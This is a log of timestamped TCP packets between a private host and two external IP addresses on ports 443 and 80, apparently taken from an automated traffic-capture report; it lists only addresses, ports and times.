Dec 23, 2024 08:39:34.045363903 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.045387030 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.045555115 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.045564890 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.046195030 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.051012993 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.051047087 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.051114082 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.051124096 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.051155090 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.051184893 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.056870937 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.056895018 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.056952000 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.056965113 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.056993961 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.057023048 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.062887907 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.062921047 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.062958956 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.062968016 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.062980890 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.063055038 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.173074007 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.173105001 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.173157930 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.173172951 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.173202038 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.173211098 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.211714983 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.211740971 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.211829901 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.211844921 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.211874962 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.211893082 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.217561960 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.217588902 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.217658043 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.217664957 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.217705965 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.217715979 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.222831964 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.222860098 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.222913980 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.222922087 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.222945929 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.222959042 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.228739023 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.228765011 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.228835106 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.228841066 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.228877068 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.228898048 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.234252930 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.234282017 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.234328032 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.234333992 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.234381914 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.240242004 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.240267992 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.240341902 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.240350008 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.240397930 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.246036053 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.246052980 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.246182919 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.246190071 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.246678114 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.365356922 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.365391970 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.365477085 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.365502119 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.365529060 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.365541935 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.403678894 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.403707981 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.403794050 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.403811932 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.403847933 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.403870106 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.409537077 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.409559965 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.409612894 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.409620047 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.409632921 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.409660101 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.415412903 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.415432930 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.415509939 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.415518045 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.415556908 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.415576935 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.420600891 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.420623064 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.420706034 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.420715094 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.420907021 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.426913023 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.426935911 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.427021980 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.427031040 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.427248001 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.432095051 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.432123899 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.432190895 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.432199955 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.432244062 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.432264090 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.438138962 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.438163042 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.438211918 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.438220024 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.438251019 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.438271999 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.557307005 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.557342052 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.557400942 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.557423115 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.557437897 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.558156967 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.596148968 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.596173048 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.596236944 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.596247911 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.596267939 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.596438885 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.601872921 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.601896048 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.601980925 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.601994991 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.602026939 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.602099895 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.607861042 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.607884884 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.607964039 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.607969999 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.608011961 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.608031988 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.613059044 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.613080978 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.613140106 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.613147020 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.613198996 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.613209963 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.619323969 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.619344950 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.619412899 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.619420052 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.619462967 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.619647980 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.624541998 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.624567032 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.624644041 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.624650955 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.624685049 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.624705076 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.630378008 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.630402088 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.630456924 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.630466938 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.630501032 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.630516052 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.749423981 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.749454975 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.749502897 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.749521017 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.749547958 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.749568939 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.788188934 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.788216114 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.788280964 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.788295984 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.788350105 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.794002056 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.794025898 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.794074059 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.794080973 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.794130087 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.799911976 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.799932003 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.799990892 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.799998045 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.800024033 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.800043106 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.805130959 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.805155993 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.805212975 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.805212975 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.805222988 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.805260897 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.805274963 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.811388969 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.811408997 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.811463118 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.811470985 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.811507940 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.811516047 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.816656113 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.816673040 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.816720963 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.816728115 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.816766977 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.822518110 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.822532892 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.822592020 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.822598934 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.822642088 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.941725969 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.941752911 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.941837072 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.941865921 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.941886902 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.941905975 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.980391979 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.980418921 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.980474949 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.980484962 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.980535030 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.986308098 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.986326933 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.986375093 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.986383915 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.986428976 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.986443043 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.992203951 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.992221117 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.992270947 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.992280006 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.992316008 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.992330074 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.997596025 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.997618914 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.997672081 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.997684956 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.997714043 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.997728109 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.003634930 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.003652096 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.003710985 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.003737926 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.003786087 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.008826017 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.008848906 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.008889914 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.008898020 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.008932114 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.008944988 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.014830112 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.014856100 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.014902115 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.014908075 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.014945984 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.014966965 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.015650034 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.015705109 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.015710115 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.015727997 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:35.015789032 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:35.016124964 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:38.630172968 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:38.750063896 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:38.750253916 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:38.768599987 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:38.888101101 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260401011 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260421038 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260436058 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260481119 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.260497093 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260543108 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.260548115 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260561943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260575056 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260588884 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260601997 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.260629892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.260896921 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260910034 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.260970116 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.380261898 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.380330086 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.380390882 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.452297926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.474129915 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.474214077 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.474351883 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.478384972 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.478405952 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.478446960 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.486860037 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.486922979 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.486941099 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.495157957 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.495203972 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.495275974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.503526926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.503581047 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.503639936 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.512022972 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.512101889 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.512120962 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.520327091 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.520467043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.520481110 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.528626919 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.528682947 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.528772116 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.537089109 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.537139893 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.537146091 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.545450926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.545562029 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.545615911 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.594037056 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.594055891 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.594099998 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.597944975 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.598023891 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.717565060 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.717582941 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.717648983 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.733894110 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.817493916 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.832918882 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.832937002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.832995892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.837054014 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.856630087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.856847048 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937045097 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937143087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937160969 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937176943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937195063 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937208891 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937211037 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937227964 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937243938 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937259912 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937262058 CET	80	49783	139.99.188.124	192.168.2.6
